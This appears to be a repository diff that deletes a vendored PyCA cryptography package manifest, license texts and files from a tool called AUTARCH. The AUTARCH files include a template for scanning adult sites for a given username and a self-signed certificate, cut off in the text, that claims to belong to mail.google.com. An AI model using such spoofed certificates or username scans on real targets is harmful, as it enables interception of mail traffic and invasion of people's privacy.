cryptography/hazmat/bindings/_rust.pyd,sha256=knGoVIXvM_YJK_uAE8So79A94TE14UB_CTtgTk71420,9110528
cryptography/hazmat/bindings/_rust/__init__.pyi,sha256=KhqLhXFPArPzzJ7DYO9Fl8FoXB_BagAd_r4Dm_Ze9Xo,1257
cryptography/hazmat/bindings/_rust/_openssl.pyi,sha256=mpNJLuYLbCVrd5i33FBTmWwL_55Dw7JPkSLlSX9Q7oI,230
cryptography/hazmat/bindings/_rust/asn1.pyi,sha256=BrGjC8J6nwuS-r3EVcdXJB8ndotfY9mbQYOfpbPG0HA,354
cryptography/hazmat/bindings/_rust/declarative_asn1.pyi,sha256=2ECFmYue1EPkHEE2Bm7aLwkjB0mSUTpr23v9MN4pri4,892
cryptography/hazmat/bindings/_rust/exceptions.pyi,sha256=exXr2xw_0pB1kk93cYbM3MohbzoUkjOms1ZMUi0uQZE,640
cryptography/hazmat/bindings/_rust/ocsp.pyi,sha256=VPVWuKHI9EMs09ZLRYAGvR0Iz0mCMmEzXAkgJHovpoM,4020
cryptography/hazmat/bindings/_rust/openssl/__init__.pyi,sha256=iOAMDyHoNwwCSZfZzuXDr64g4GpGUeDgEN-LjXqdrBM,1522
cryptography/hazmat/bindings/_rust/openssl/aead.pyi,sha256=4Nddw6-ynzIB3w2W86WvkGKTLlTDk_6F5l54RHCuy3E,2688
cryptography/hazmat/bindings/_rust/openssl/ciphers.pyi,sha256=LhPzHWSXJq4grAJXn6zSvSSdV-aYIIscHDwIPlJGGPs,1315
cryptography/hazmat/bindings/_rust/openssl/cmac.pyi,sha256=nPH0X57RYpsAkRowVpjQiHE566ThUTx7YXrsadmrmHk,564
cryptography/hazmat/bindings/_rust/openssl/dh.pyi,sha256=Z3TC-G04-THtSdAOPLM1h2G7ml5bda1ElZUcn5wpuhk,1564
cryptography/hazmat/bindings/_rust/openssl/dsa.pyi,sha256=qBtkgj2albt2qFcnZ9UDrhzoNhCVO7HTby5VSf1EXMI,1299
cryptography/hazmat/bindings/_rust/openssl/ec.pyi,sha256=zJy0pRa5n-_p2dm45PxECB_-B6SVZyNKfjxFDpPqT38,1691
cryptography/hazmat/bindings/_rust/openssl/ed25519.pyi,sha256=VXfXd5G6hUivg399R1DYdmW3eTb0EebzDTqjRC2gaRw,532
cryptography/hazmat/bindings/_rust/openssl/ed448.pyi,sha256=Yx49lqdnjsD7bxiDV1kcaMrDktug5evi5a6zerMiy2s,514
cryptography/hazmat/bindings/_rust/openssl/hashes.pyi,sha256=OWZvBx7xfo_HJl41Nc--DugVyCVPIprZ3HlOPTSWH9g,984
cryptography/hazmat/bindings/_rust/openssl/hmac.pyi,sha256=BXZn7NDjL3JAbYW0SQ8pg1iyC5DbQXVhUAiwsi8DFR8,702
cryptography/hazmat/bindings/_rust/openssl/kdf.pyi,sha256=xXfFBb9QehHfDtEaxV_65Z0YK7NquOVIChpTLkgAs_k,2029
cryptography/hazmat/bindings/_rust/openssl/keys.pyi,sha256=teIt8M6ZEMJrn4s3W0UnW0DZ-30Jd68WnSsKKG124l0,912
cryptography/hazmat/bindings/_rust/openssl/poly1305.pyi,sha256=_SW9NtQ5FDlAbdclFtWpT4lGmxKIKHpN-4j8J2BzYfQ,585
cryptography/hazmat/bindings/_rust/openssl/rsa.pyi,sha256=2OQCNSXkxgc-3uw1xiCCloIQTV6p9_kK79Yu0rhZgPc,1364
cryptography/hazmat/bindings/_rust/openssl/x25519.pyi,sha256=ewn4GpQyb7zPwE-ni7GtyQgMC0A1mLuqYsSyqv6nI_s,523
cryptography/hazmat/bindings/_rust/openssl/x448.pyi,sha256=juTZTmli8jO_5Vcufg-vHvx_tCyezmSLIh_9PU3TczI,505
cryptography/hazmat/bindings/_rust/pkcs12.pyi,sha256=vEEd5wDiZvb8ZGFaziLCaWLzAwoG_tvPUxLQw5_uOl8,1605
cryptography/hazmat/bindings/_rust/pkcs7.pyi,sha256=txGBJijqZshEcqra6byPNbnisIdlxzOSIHP2hl9arPs,1601
cryptography/hazmat/bindings/_rust/test_support.pyi,sha256=PPhld-WkO743iXFPebeG0LtgK0aTzGdjcIsay1Gm5GE,757
cryptography/hazmat/bindings/_rust/x509.pyi,sha256=n9X0IQ6ICbdIi-ExdCFZoBgeY6njm3QOVAVZwDQdnbk,9784
cryptography/hazmat/bindings/openssl/__init__.py,sha256=s9oKCQ2ycFdXoERdS1imafueSkBsL9kvbyfghaauZ9Y,180
cryptography/hazmat/bindings/openssl/__pycache__/__init__.cpython-313.pyc,,
cryptography/hazmat/bindings/openssl/__pycache__/_conditional.cpython-313.pyc,,
cryptography/hazmat/bindings/openssl/__pycache__/binding.cpython-313.pyc,,
cryptography/hazmat/bindings/openssl/_conditional.py,sha256=DMOpA_XN4l70zTc5_J9DpwlbQeUBRTWpfIJ4yRIn1-U,5791
cryptography/hazmat/bindings/openssl/binding.py,sha256=x8eocEmukO4cm7cHqfVmOoYY7CCXdoF1v1WhZQt9neo,4610
cryptography/hazmat/decrepit/__init__.py,sha256=wHCbWfaefa-fk6THSw9th9fJUsStJo7245wfFBqmduA,216
cryptography/hazmat/decrepit/__pycache__/__init__.cpython-313.pyc,,
cryptography/hazmat/decrepit/ciphers/__init__.py,sha256=wHCbWfaefa-fk6THSw9th9fJUsStJo7245wfFBqmduA,216
cryptography/hazmat/decrepit/ciphers/__pycache__/__init__.cpython-313.pyc,,
cryptography/hazmat/decrepit/ciphers/__pycache__/algorithms.cpython-313.pyc,,
cryptography/hazmat/decrepit/ciphers/algorithms.py,sha256=YrKgHS4MfwWaMmPBYRymRRlC0phwWp9ycICFezeJPGk,2595
cryptography/hazmat/primitives/__init__.py,sha256=s9oKCQ2ycFdXoERdS1imafueSkBsL9kvbyfghaauZ9Y,180
cryptography/hazmat/primitives/__pycache__/__init__.cpython-313.pyc,,
cryptography/hazmat/primitives/__pycache__/_asymmetric.cpython-313.pyc,,
cryptography/hazmat/primitives/__pycache__/_cipheralgorithm.cpython-313.pyc,,
cryptography/hazmat/primitives/__pycache__/_serialization.cpython-313.pyc,,
cryptography/hazmat/primitives/__pycache__/cmac.cpython-313.pyc,,
cryptography/hazmat/primitives/__pycache__/constant_time.cpython-313.pyc,,
cryptography/hazmat/primitives/__pycache__/hashes.cpython-313.pyc,,
cryptography/hazmat/primitives/__pycache__/hmac.cpython-313.pyc,,
cryptography/hazmat/primitives/__pycache__/keywrap.cpython-313.pyc,,
cryptography/hazmat/primitives/__pycache__/padding.cpython-313.pyc,,
cryptography/hazmat/primitives/__pycache__/poly1305.cpython-313.pyc,,
cryptography/hazmat/primitives/_asymmetric.py,sha256=RhgcouUB6HTiFDBrR1LxqkMjpUxIiNvQ1r_zJjRG6qQ,532
cryptography/hazmat/primitives/_cipheralgorithm.py,sha256=Eh3i7lwedHfi0eLSsH93PZxQKzY9I6lkK67vL4V5tOc,1522
cryptography/hazmat/primitives/_serialization.py,sha256=chgPCSF2jxI2Cr5gB-qbWXOvOfupBh4CARS0KAhv9AM,5123
cryptography/hazmat/primitives/asymmetric/__init__.py,sha256=s9oKCQ2ycFdXoERdS1imafueSkBsL9kvbyfghaauZ9Y,180
cryptography/hazmat/primitives/asymmetric/__pycache__/__init__.cpython-313.pyc,,
cryptography/hazmat/primitives/asymmetric/__pycache__/dh.cpython-313.pyc,,
cryptography/hazmat/primitives/asymmetric/__pycache__/dsa.cpython-313.pyc,,
cryptography/hazmat/primitives/asymmetric/__pycache__/ec.cpython-313.pyc,,
cryptography/hazmat/primitives/asymmetric/__pycache__/ed25519.cpython-313.pyc,,
cryptography/hazmat/primitives/asymmetric/__pycache__/ed448.cpython-313.pyc,,
cryptography/hazmat/primitives/asymmetric/__pycache__/padding.cpython-313.pyc,,
cryptography/hazmat/primitives/asymmetric/__pycache__/rsa.cpython-313.pyc,,
cryptography/hazmat/primitives/asymmetric/__pycache__/types.cpython-313.pyc,,
cryptography/hazmat/primitives/asymmetric/__pycache__/utils.cpython-313.pyc,,
cryptography/hazmat/primitives/asymmetric/__pycache__/x25519.cpython-313.pyc,,
cryptography/hazmat/primitives/asymmetric/__pycache__/x448.cpython-313.pyc,,
cryptography/hazmat/primitives/asymmetric/dh.py,sha256=0v_vEFFz5pQ1QG-FkWDyvgv7IfuVZSH5Q6LyFI5A8rg,3645
cryptography/hazmat/primitives/asymmetric/dsa.py,sha256=Ld_bbbqQFz12dObHxIkzEQzX0SWWP41RLSWkYSaKhqE,4213
cryptography/hazmat/primitives/asymmetric/ec.py,sha256=dj0ZR_jTVI1wojjipjbXNVccPSIRObWxSZcTGQKGbHc,13437
cryptography/hazmat/primitives/asymmetric/ed25519.py,sha256=jZW5cs472wXXV3eB0sE1b8w64gdazwwU0_MT5UOTiXs,3700
cryptography/hazmat/primitives/asymmetric/ed448.py,sha256=yAetgn2f2JYf0BO8MapGzXeThsvSMG5LmUCrxVOidAA,3729
cryptography/hazmat/primitives/asymmetric/padding.py,sha256=vQ6l6gOg9HqcbOsvHrSiJRVLdEj9L4m4HkRGYziTyFA,2854
cryptography/hazmat/primitives/asymmetric/rsa.py,sha256=ZnKOo2f34MCCOupC03Y1uR-_jiSG5IrelHEmxaME3D4,8303
cryptography/hazmat/primitives/asymmetric/types.py,sha256=LnsOJym-wmPUJ7Knu_7bCNU3kIiELCd6krOaW_JU08I,2996
cryptography/hazmat/primitives/asymmetric/utils.py,sha256=DPTs6T4F-UhwzFQTh-1fSEpQzazH2jf2xpIro3ItF4o,790
cryptography/hazmat/primitives/asymmetric/x25519.py,sha256=_4nQeZ3yJ3Lg0RpXnaqA-1yt6vbx1F-wzLcaZHwSpeE,3613
cryptography/hazmat/primitives/asymmetric/x448.py,sha256=WKBLtuVfJqiBRro654fGaQAlvsKbqbNkK7c4A_ZCdV0,3642
cryptography/hazmat/primitives/ciphers/__init__.py,sha256=eyEXmjk6_CZXaOPYDr7vAYGXr29QvzgWL2-4CSolLFs,680
cryptography/hazmat/primitives/ciphers/__pycache__/__init__.cpython-313.pyc,,
cryptography/hazmat/primitives/ciphers/__pycache__/aead.cpython-313.pyc,,
cryptography/hazmat/primitives/ciphers/__pycache__/algorithms.cpython-313.pyc,,
cryptography/hazmat/primitives/ciphers/__pycache__/base.cpython-313.pyc,,
cryptography/hazmat/primitives/ciphers/__pycache__/modes.cpython-313.pyc,,
cryptography/hazmat/primitives/ciphers/aead.py,sha256=Fzlyx7w8KYQakzDp1zWgJnIr62zgZrgVh1u2h4exB54,634
cryptography/hazmat/primitives/ciphers/algorithms.py,sha256=Q7ZJwcsx83Mgxv5y7r6CyJKSdsOwC-my-5A67-ma2vw,3407
cryptography/hazmat/primitives/ciphers/base.py,sha256=aBC7HHBBoixebmparVr0UlODs3VD0A7B6oz_AaRjDv8,4253
cryptography/hazmat/primitives/ciphers/modes.py,sha256=20stpwhDtbAvpH0SMf9EDHIciwmTF-JMBUOZ9bU8WiQ,8318
cryptography/hazmat/primitives/cmac.py,sha256=sz_s6H_cYnOvx-VNWdIKhRhe3Ymp8z8J0D3CBqOX3gg,338
cryptography/hazmat/primitives/constant_time.py,sha256=xdunWT0nf8OvKdcqUhhlFKayGp4_PgVJRU2W1wLSr_A,422
cryptography/hazmat/primitives/hashes.py,sha256=M8BrlKB3U6DEtHvWTV5VRjpteHv1kS3Zxm_Bsk04cr8,5184
cryptography/hazmat/primitives/hmac.py,sha256=RpB3z9z5skirCQrm7zQbtnp9pLMnAjrlTUvKqF5aDDc,423
cryptography/hazmat/primitives/kdf/__init__.py,sha256=4XibZnrYq4hh5xBjWiIXzaYW6FKx8hPbVaa_cB9zS64,750
cryptography/hazmat/primitives/kdf/__pycache__/__init__.cpython-313.pyc,,
cryptography/hazmat/primitives/kdf/__pycache__/argon2.cpython-313.pyc,,
cryptography/hazmat/primitives/kdf/__pycache__/concatkdf.cpython-313.pyc,,
cryptography/hazmat/primitives/kdf/__pycache__/hkdf.cpython-313.pyc,,
cryptography/hazmat/primitives/kdf/__pycache__/kbkdf.cpython-313.pyc,,
cryptography/hazmat/primitives/kdf/__pycache__/pbkdf2.cpython-313.pyc,,
cryptography/hazmat/primitives/kdf/__pycache__/scrypt.cpython-313.pyc,,
cryptography/hazmat/primitives/kdf/__pycache__/x963kdf.cpython-313.pyc,,
cryptography/hazmat/primitives/kdf/argon2.py,sha256=UFDNXG0v-rw3DqAQTB1UQAsQC2M5Ejg0k_6OCyhLKus,460
cryptography/hazmat/primitives/kdf/concatkdf.py,sha256=Ua8KoLXXnzgsrAUmHpyKymaPt8aPRP0EHEaBz7QCQ9I,3737
cryptography/hazmat/primitives/kdf/hkdf.py,sha256=M0lAEfRoc4kpp4-nwDj9yB-vNZukIOYEQrUlWsBNn9o,543
cryptography/hazmat/primitives/kdf/kbkdf.py,sha256=oZepvo4evhKkkJQWRDwaPoIbyTaFmDc5NPimxg6lfKg,9165
cryptography/hazmat/primitives/kdf/pbkdf2.py,sha256=1WIwhELR0w8ztTpTu8BrFiYWmK3hUfJq08I79TxwieE,1957
cryptography/hazmat/primitives/kdf/scrypt.py,sha256=XyWUdUUmhuI9V6TqAPOvujCSMGv1XQdg0a21IWCmO-U,590
cryptography/hazmat/primitives/kdf/x963kdf.py,sha256=zLTcF665QFvXX2f8TS7fmBZTteXpFjKahzfjjQcCJyw,1999
cryptography/hazmat/primitives/keywrap.py,sha256=XV4Pj2fqSeD-RqZVvY2cA3j5_7RwJSFygYuLfk2ujCo,5650
cryptography/hazmat/primitives/padding.py,sha256=QT-U-NvV2eQGO1wVPbDiNGNSc9keRDS-ig5cQOrLz0E,1865
cryptography/hazmat/primitives/poly1305.py,sha256=P5EPQV-RB_FJPahpg01u0Ts4S_PnAmsroxIGXbGeRRo,355
cryptography/hazmat/primitives/serialization/__init__.py,sha256=Q7uTgDlt7n3WfsMT6jYwutC6DIg_7SEeoAm1GHZ5B5E,1705
cryptography/hazmat/primitives/serialization/__pycache__/__init__.cpython-313.pyc,,
cryptography/hazmat/primitives/serialization/__pycache__/base.cpython-313.pyc,,
cryptography/hazmat/primitives/serialization/__pycache__/pkcs12.cpython-313.pyc,,
cryptography/hazmat/primitives/serialization/__pycache__/pkcs7.cpython-313.pyc,,
cryptography/hazmat/primitives/serialization/__pycache__/ssh.cpython-313.pyc,,
cryptography/hazmat/primitives/serialization/base.py,sha256=ikq5MJIwp_oUnjiaBco_PmQwOTYuGi-XkYUYHKy8Vo0,615
cryptography/hazmat/primitives/serialization/pkcs12.py,sha256=mS9cFNG4afzvseoc5e1MWoY2VskfL8N8Y_OFjl67luY,5104
cryptography/hazmat/primitives/serialization/pkcs7.py,sha256=5OR_Tkysxaprn4FegvJIfbep9rJ9wok6FLWvWwQ5-Mg,13943
cryptography/hazmat/primitives/serialization/ssh.py,sha256=hPV5obFznz0QhFfXFPOeQ8y6MsurA0xVMQiLnLESEs8,53700
cryptography/hazmat/primitives/twofactor/__init__.py,sha256=tmMZGB-g4IU1r7lIFqASU019zr0uPp_wEBYcwdDCKCA,258
cryptography/hazmat/primitives/twofactor/__pycache__/__init__.cpython-313.pyc,,
cryptography/hazmat/primitives/twofactor/__pycache__/hotp.cpython-313.pyc,,
cryptography/hazmat/primitives/twofactor/__pycache__/totp.cpython-313.pyc,,
cryptography/hazmat/primitives/twofactor/hotp.py,sha256=ivZo5BrcCGWLsqql4nZV0XXCjyGPi_iHfDFltGlOJwk,3256
cryptography/hazmat/primitives/twofactor/totp.py,sha256=m5LPpRL00kp4zY8gTjr55Hfz9aMlPS53kHmVkSQCmdY,1652
cryptography/py.typed,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0
cryptography/utils.py,sha256=nFHkPQZycOQGeBtBRkWSA4WjOHFo7pwummQt-PPSkZc,4349
cryptography/x509/__init__.py,sha256=xloN0swseNx-m2WFZmCA17gOoxQWqeU82UVjEdJBePQ,8257
cryptography/x509/__pycache__/__init__.cpython-313.pyc,,
cryptography/x509/__pycache__/base.cpython-313.pyc,,
cryptography/x509/__pycache__/certificate_transparency.cpython-313.pyc,,
cryptography/x509/__pycache__/extensions.cpython-313.pyc,,
cryptography/x509/__pycache__/general_name.cpython-313.pyc,,
cryptography/x509/__pycache__/name.cpython-313.pyc,,
cryptography/x509/__pycache__/ocsp.cpython-313.pyc,,
cryptography/x509/__pycache__/oid.cpython-313.pyc,,
cryptography/x509/__pycache__/verification.cpython-313.pyc,,
cryptography/x509/base.py,sha256=OrmTw3y8B6AE_nGXQPN8x9kq-d7rDWeH13gCq6T6D6U,27997
cryptography/x509/certificate_transparency.py,sha256=JqoOIDhlwInrYMFW6IFn77WJ0viF-PB_rlZV3vs9MYc,797
cryptography/x509/extensions.py,sha256=QxYrqR6SF1qzR9ZraP8wDiIczlEVlAFuwDRVcltB6Tk,77724
cryptography/x509/general_name.py,sha256=sP_rV11Qlpsk4x3XXGJY_Mv0Q_s9dtjeLckHsjpLQoQ,7836
cryptography/x509/name.py,sha256=ty0_xf0LnHwZAdEf-d8FLO1K4hGqx_7DsD3CHwoLJiY,15101
cryptography/x509/ocsp.py,sha256=Yey6NdFV1MPjop24Mj_VenjEpg3kUaMopSWOK0AbeBs,12699
cryptography/x509/oid.py,sha256=BUzgXXGVWilkBkdKPTm9R4qElE9gAGHgdYPMZAp7PJo,931
cryptography/x509/verification.py,sha256=gR2C2c-XZQtblZhT5T5vjSKOtCb74ef2alPVmEcwFlM,958

View File

@@ -1,4 +0,0 @@
Wheel-Version: 1.0
Generator: maturin (1.9.4)
Root-Is-Purelib: false
Tag: cp311-abi3-win_amd64

View File

@@ -1,3 +0,0 @@
This software is made available under the terms of *either* of the licenses
found in LICENSE.APACHE or LICENSE.BSD. Contributions to cryptography are made
under the terms of *both* these licenses.

View File

@@ -1,202 +0,0 @@
Apache License
Version 2.0, January 2004
https://www.apache.org/licenses/
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
1. Definitions.
"License" shall mean the terms and conditions for use, reproduction,
and distribution as defined by Sections 1 through 9 of this document.
"Licensor" shall mean the copyright owner or entity authorized by
the copyright owner that is granting the License.
"Legal Entity" shall mean the union of the acting entity and all
other entities that control, are controlled by, or are under common
control with that entity. For the purposes of this definition,
"control" means (i) the power, direct or indirect, to cause the
direction or management of such entity, whether by contract or
otherwise, or (ii) ownership of fifty percent (50%) or more of the
outstanding shares, or (iii) beneficial ownership of such entity.
"You" (or "Your") shall mean an individual or Legal Entity
exercising permissions granted by this License.
"Source" form shall mean the preferred form for making modifications,
including but not limited to software source code, documentation
source, and configuration files.
"Object" form shall mean any form resulting from mechanical
transformation or translation of a Source form, including but
not limited to compiled object code, generated documentation,
and conversions to other media types.
"Work" shall mean the work of authorship, whether in Source or
Object form, made available under the License, as indicated by a
copyright notice that is included in or attached to the work
(an example is provided in the Appendix below).
"Derivative Works" shall mean any work, whether in Source or Object
form, that is based on (or derived from) the Work and for which the
editorial revisions, annotations, elaborations, or other modifications
represent, as a whole, an original work of authorship. For the purposes
of this License, Derivative Works shall not include works that remain
separable from, or merely link (or bind by name) to the interfaces of,
the Work and Derivative Works thereof.
"Contribution" shall mean any work of authorship, including
the original version of the Work and any modifications or additions
to that Work or Derivative Works thereof, that is intentionally
submitted to Licensor for inclusion in the Work by the copyright owner
or by an individual or Legal Entity authorized to submit on behalf of
the copyright owner. For the purposes of this definition, "submitted"
means any form of electronic, verbal, or written communication sent
to the Licensor or its representatives, including but not limited to
communication on electronic mailing lists, source code control systems,
and issue tracking systems that are managed by, or on behalf of, the
Licensor for the purpose of discussing and improving the Work, but
excluding communication that is conspicuously marked or otherwise
designated in writing by the copyright owner as "Not a Contribution."
"Contributor" shall mean Licensor and any individual or Legal Entity
on behalf of whom a Contribution has been received by Licensor and
subsequently incorporated within the Work.
2. Grant of Copyright License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
copyright license to reproduce, prepare Derivative Works of,
publicly display, publicly perform, sublicense, and distribute the
Work and such Derivative Works in Source or Object form.
3. Grant of Patent License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
(except as stated in this section) patent license to make, have made,
use, offer to sell, sell, import, and otherwise transfer the Work,
where such license applies only to those patent claims licensable
by such Contributor that are necessarily infringed by their
Contribution(s) alone or by combination of their Contribution(s)
with the Work to which such Contribution(s) was submitted. If You
institute patent litigation against any entity (including a
cross-claim or counterclaim in a lawsuit) alleging that the Work
or a Contribution incorporated within the Work constitutes direct
or contributory patent infringement, then any patent licenses
granted to You under this License for that Work shall terminate
as of the date such litigation is filed.
4. Redistribution. You may reproduce and distribute copies of the
Work or Derivative Works thereof in any medium, with or without
modifications, and in Source or Object form, provided that You
meet the following conditions:
(a) You must give any other recipients of the Work or
Derivative Works a copy of this License; and
(b) You must cause any modified files to carry prominent notices
stating that You changed the files; and
(c) You must retain, in the Source form of any Derivative Works
that You distribute, all copyright, patent, trademark, and
attribution notices from the Source form of the Work,
excluding those notices that do not pertain to any part of
the Derivative Works; and
(d) If the Work includes a "NOTICE" text file as part of its
distribution, then any Derivative Works that You distribute must
include a readable copy of the attribution notices contained
within such NOTICE file, excluding those notices that do not
pertain to any part of the Derivative Works, in at least one
of the following places: within a NOTICE text file distributed
as part of the Derivative Works; within the Source form or
documentation, if provided along with the Derivative Works; or,
within a display generated by the Derivative Works, if and
wherever such third-party notices normally appear. The contents
of the NOTICE file are for informational purposes only and
do not modify the License. You may add Your own attribution
notices within Derivative Works that You distribute, alongside
or as an addendum to the NOTICE text from the Work, provided
that such additional attribution notices cannot be construed
as modifying the License.
You may add Your own copyright statement to Your modifications and
may provide additional or different license terms and conditions
for use, reproduction, or distribution of Your modifications, or
for any such Derivative Works as a whole, provided Your use,
reproduction, and distribution of the Work otherwise complies with
the conditions stated in this License.
5. Submission of Contributions. Unless You explicitly state otherwise,
any Contribution intentionally submitted for inclusion in the Work
by You to the Licensor shall be under the terms and conditions of
this License, without any additional terms or conditions.
Notwithstanding the above, nothing herein shall supersede or modify
the terms of any separate license agreement you may have executed
with Licensor regarding such Contributions.
6. Trademarks. This License does not grant permission to use the trade
names, trademarks, service marks, or product names of the Licensor,
except as required for reasonable and customary use in describing the
origin of the Work and reproducing the content of the NOTICE file.
7. Disclaimer of Warranty. Unless required by applicable law or
agreed to in writing, Licensor provides the Work (and each
Contributor provides its Contributions) on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
implied, including, without limitation, any warranties or conditions
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
PARTICULAR PURPOSE. You are solely responsible for determining the
appropriateness of using or redistributing the Work and assume any
risks associated with Your exercise of permissions under this License.
8. Limitation of Liability. In no event and under no legal theory,
whether in tort (including negligence), contract, or otherwise,
unless required by applicable law (such as deliberate and grossly
negligent acts) or agreed to in writing, shall any Contributor be
liable to You for damages, including any direct, indirect, special,
incidental, or consequential damages of any character arising as a
result of this License or out of the use or inability to use the
Work (including but not limited to damages for loss of goodwill,
work stoppage, computer failure or malfunction, or any and all
other commercial damages or losses), even if such Contributor
has been advised of the possibility of such damages.
9. Accepting Warranty or Additional Liability. While redistributing
the Work or Derivative Works thereof, You may choose to offer,
and charge a fee for, acceptance of support, warranty, indemnity,
or other liability obligations and/or rights consistent with this
License. However, in accepting such obligations, You may act only
on Your own behalf and on Your sole responsibility, not on behalf
of any other Contributor, and only if You agree to indemnify,
defend, and hold each Contributor harmless for any liability
incurred by, or claims asserted against, such Contributor by reason
of your accepting any such warranty or additional liability.
END OF TERMS AND CONDITIONS
APPENDIX: How to apply the Apache License to your work.
To apply the Apache License to your work, attach the following
boilerplate notice, with the fields enclosed by brackets "[]"
replaced with your own identifying information. (Don't include
the brackets!) The text should be enclosed in the appropriate
comment syntax for the file format. We also recommend that a
file or class name and description of purpose be included on the
same "printed page" as the copyright notice for easier
identification within third-party archives.
Copyright [yyyy] [name of copyright owner]
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
https://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.

View File

@@ -1,27 +0,0 @@
Copyright (c) Individual contributors.
All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:
1. Redistributions of source code must retain the above copyright notice,
this list of conditions and the following disclaimer.
2. Redistributions in binary form must reproduce the above copyright
notice, this list of conditions and the following disclaimer in the
documentation and/or other materials provided with the distribution.
3. Neither the name of PyCA Cryptography nor the names of its contributors
may be used to endorse or promote products derived from this software
without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR
ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON
ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.

View File

@@ -1,12 +0,0 @@
# AUTARCH Adult Site Scanner - Bulk Import File
# Add one domain per line (without http:// or https://)
# Lines starting with # are comments
#
# Example:
# example.com
# another-site.net
# subdomain.site.org
#
# After adding domains, run Bulk Import [B] again
# and provide a test username that exists on these sites.

View File

@@ -1,11 +0,0 @@
{
"active": true,
"tier": 2,
"protections": {
"private_dns": "adguard",
"ad_opt_out": true,
"location_accuracy": true,
"diagnostics": true
},
"activated_at": "2026-02-21T02:55:28.439016"
}

View File

@@ -1,19 +0,0 @@
-----BEGIN CERTIFICATE-----
MIIDKTCCAhGgAwIBAgIUfA3Sef+54+/zn/axqGK99cxqyYkwDQYJKoZIhvcNAQEL
BQAwJDEQMA4GA1UEAwwHQVVUQVJDSDEQMA4GA1UECgwHZGFya0hhbDAeFw0yNjAy
MjExMTAyMTVaFw0zNjAyMTkxMTAyMTVaMCQxEDAOBgNVBAMMB0FVVEFSQ0gxEDAO
BgNVBAoMB2RhcmtIYWwwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQC5
2L7xG2kZLj8u1aA0qFd9Xohxa0XG1K0xhTkWJmNOjgRdRO9RejWhKvpa2DJNTO9L
LyEO8bRH56zKcgFofAJRe4GjCSk3OefBcuCKHBWN+hB1YRu+7spaoTxZ1m5dRP1o
DvsRe/nSA69xGsEbX8Zuc/ROCsaV4LACOBYSMQkOKTWWpTu2cLJyuW/sqHn5REzp
Bndw1sp5p+TCc2+Pf+dCEx1V2lXCt2sWC5jTHvPzwGgy9jNXi+CtKMJRlGrHUmBW
a9woL3caOdAp1i9t6VmXeRO3PBYsByeyuGJoREVRThHu+ZhzQkz3oHGFO5YJbu/o
OKWwWJ9mQUl6jF1uwNTtAgMBAAGjUzBRMB0GA1UdDgQWBBS3bxJnHddd56q+WltD
VsbewxdDVDAfBgNVHSMEGDAWgBS3bxJnHddd56q+WltDVsbewxdDVDAPBgNVHRMB
Af8EBTADAQH/MA0GCSqGSIb3DQEBCwUAA4IBAQCceD5savXA4dhGUss0D8DPIvSg
DS3mjnJtaD7SFqfDmyqM8W9ocQK7yrzdQiywZT+dI8dCnVm1hB5e5l3lTZwTLU41
XLq4WdHBeimwWIuZl+pKKvXcQUHUkK4epJFrt6mj0onExNSDNI4i7Xk+XnMVIu35
VrF6IhLrD2AznQyOqY0WeLGmoXe3FT5caUiTm5Kg28xTJC9m7hDOFE34d0Aqb+U1
U4GFlmXor+MdNKYTEJJy3pslxEZOiRNiiLKWjecYrcKfSk0LY/8TkqVB44pZBQZB
6naQfFuuxDtEa6bHM0q+P/6HM35tpEu6TEJ1eU/yRrejhySFIHfKTjy/WXsm
-----END CERTIFICATE-----

View File

@@ -1,20 +0,0 @@
-----BEGIN CERTIFICATE-----
MIIDWTCCAkGgAwIBAgIUOzmq7jW+wmCJdR9vdQNaC7/DJCwwDQYJKoZIhvcNAQEL
BQAwPDEYMBYGA1UEAwwPbWFpbC5nb29nbGUuY29tMRMwEQYDVQQKDApHb29nbGUg
TExDMQswCQYDVQQGEwJVUzAeFw0yNjAzMDMxMjA2MDFaFw0yNzAzMDMxMjA2MDFa
MDwxGDAWBgNVBAMMD21haWwuZ29vZ2xlLmNvbTETMBEGA1UECgwKR29vZ2xlIExM
QzELMAkGA1UEBhMCVVMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCO
dJygnzih+j44Z7O08n8lWfIpkEBFQtLeoWWbUhi66uIGnISw0x41LxQRSa0pM/cK
1dkQV9olBxOcmFY6XaT8YP7AXt5NkvH0Y/3vE2JHRJpxw0W8ug2tX4pwWCXMkJn2
/Ih2d/VBzDLKp4UK+KTse+2qrFRsvReoOuWzXBqpLC2Ch4pvz1skmjA/hsH7OiWx
ADeBrtphh+1vHhMM27x6D0i3K0tSvhoZBamjXt7qzjPtPGj7dXlHB+S6LkAJC5pF
